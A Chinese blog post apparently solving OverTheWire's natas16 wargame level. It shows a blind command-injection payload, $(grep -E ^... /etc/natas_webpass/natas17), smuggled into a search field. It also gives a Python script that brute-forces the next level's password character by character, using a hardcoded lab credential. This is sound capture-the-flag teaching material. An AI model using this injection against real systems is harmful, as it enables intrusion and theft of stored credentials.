前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >natas16 题解

natas16 题解

作者头像
horan2
发布2023-07-25 14:09:00
2030
发布2023-07-25 14:09:00
举报
文章被收录于专栏:程序猿的修炼手册

本题与上一题相似(可看我上篇文章nata15 题解)

进入后发现和早前某关像,执行一个grep命令查找,这里的过滤字符中恰恰没包括 . * 这三个,可以利用(grep -E ^8.* /etc/natas_webpasswd/natas17)hello 这样去输入

如果返回了hello和其他的字串,说明这里的grep没有执行,-E 是执行一个正则表达式,^8,* 这个表达式的意思是以8开头(这里就是上题的思路了),每次试出一个后附加上去然后继续试下一个,下一个加在原来的末尾,下面用python3实现,requests库比较好用,容易理解

import requests url = "http://natas16.natas.labs.overthewire.org/" username = "natas16" password= 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh' au = requests.auth.HTTPBasicAuth(username,password) ans="" testCharacter="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" i=0 while i < len(testCharacter): #print(url1+key+url2)     payload={'needle':'$(grep -E ^'+ans+testCharacter[i]+'.* /etc/natas_webpass/natas17)hello','submit':'Search'}     req = requests.get(url,auth=au,params=payload)     if 'hello' not in req.text:         ans+=testCharacter[i]         print(ans)         i=0         continue     i+=1

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2015-11-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档